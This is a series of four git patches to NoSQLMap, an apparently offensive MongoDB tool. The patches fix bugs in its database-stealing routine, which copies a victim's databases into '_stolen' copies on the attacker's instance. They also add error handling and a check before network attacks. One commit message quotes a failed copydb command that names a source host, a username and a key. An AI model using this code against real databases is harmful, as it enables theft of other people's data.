From 1374783234a8015ea334b02d7899ac4311e038ea Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Sat, 21 May 2016 16:53:49 +0800 Subject: [PATCH 1/4] operator ''>'' should be replace with ''>=' in 157 line number Describtion when user select a database to steal, there is a bug if user enter database number equal to the account of database plus one leak test: 1-local 2-VASTTEST 3-admin Select a database to steal: 56 Invalid selection. Select a database to steal: 23 Invalid selection. Select a database to steal: 4 Does this database require credentials (y/n)? 4 is a invalid number, but system accept it --- nsmmongo.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nsmmongo.py b/nsmmongo.py index 77971f5..7f2deab 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -154,7 +154,7 @@ def stealDBs(myDB,victim,mongoConn): while dbLoot: dbLoot = raw_input("Select a database to steal: ") - if int(dbLoot) > menuItem: + if int(dbLoot) >= menuItem: print "Invalid selection." else: From 421cf5ad4aa809be79b191211b7401b2e4eb77bd Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Sun, 22 May 2016 12:41:11 +0800 Subject: [PATCH 2/4] Description: put the code "myDBConn = pymongo.MongoClient(myDB, 27017)" out of the "if" statements, because if don't do this, the code in line number 174 will be not executed if user select the option that require credentials. lead test: Exception e is "local variable 'myDBConn' referenced before assignment". It indicates the code in line number 174 will be not executed if user select the option that require credentials. MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit After modification Exception e is "command SON([('copydb', 1), ('username', 'youngyangyang04'), ('nonce', u'b9d5887c5f7cc17c'), ('fromdb', u'admin'), ('todb', u'admin_stolen'), ('key', u'dcfd7214988466b2f620809fd27015b4'), ('fromhost', '128.95.1.27')]) failed: unable to login { code: 18, ok: 0.0, errmsg: "auth fails” }" So the code in line number 174 works --- nsmmongo.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/nsmmongo.py b/nsmmongo.py index 7f2deab..ec3387e 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -163,9 +163,9 @@ def stealDBs(myDB,victim,mongoConn): try: #Mongo can only pull, not push, connect to my instance and pull from verified open remote instance. dbNeedCreds = raw_input("Does this database require credentials (y/n)? ") - + myDBConn = pymongo.MongoClient(myDB, 27017) if dbNeedCreds in no_tag: - myDBConn = pymongo.MongoClient(myDB,27017) + myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim) elif dbNeedCreds in yes_tag: @@ -186,6 +186,7 @@ def stealDBs(myDB,victim,mongoConn): return except Exception, e: +# print str(e) if str(e).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") return From 6079d24872768bf8c16f5a9eac0f8c245b4ae6b9 Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Sun, 22 May 2016 13:32:01 +0800 Subject: [PATCH 3/4] add the state of Network in line number 192 --- nsmmongo.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nsmmongo.py b/nsmmongo.py index ec3387e..dfac3f9 100644 --- a/nsmmongo.py +++ b/nsmmongo.py @@ -186,11 +186,11 @@ def stealDBs(myDB,victim,mongoConn): return except Exception, e: -# print str(e) if str(e).find('text search not enabled') != -1: raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...") return - + elif str(e).find('Network is unreachable') != -1: + raw_input("Are you sure your network is unreachable? Press enter to return..") else: raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...") return From fea582fbb2e59da547b23ea8ffe68bca59d586ea Mon Sep 17 00:00:00 2001 From: Carl Sun <826123027@qq.com> Date: Sat, 4 Jun 2016 10:21:39 +0800 Subject: [PATCH 4/4] add condition that optionSet[4] == True in line number 96 Because variable "myIP" should be set --- nosqlmap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nosqlmap.py b/nosqlmap.py index 02a550b..6e0c144 100755 --- a/nosqlmap.py +++ b/nosqlmap.py @@ -93,7 +93,7 @@ def mainMenu(): options() elif select == "2": - if optionSet[0] == True: + if optionSet[0] == True and optionSet[4] == True: if platform == "MongoDB": nsmmongo.netAttacks(victim, dbPort, myIP, myPort)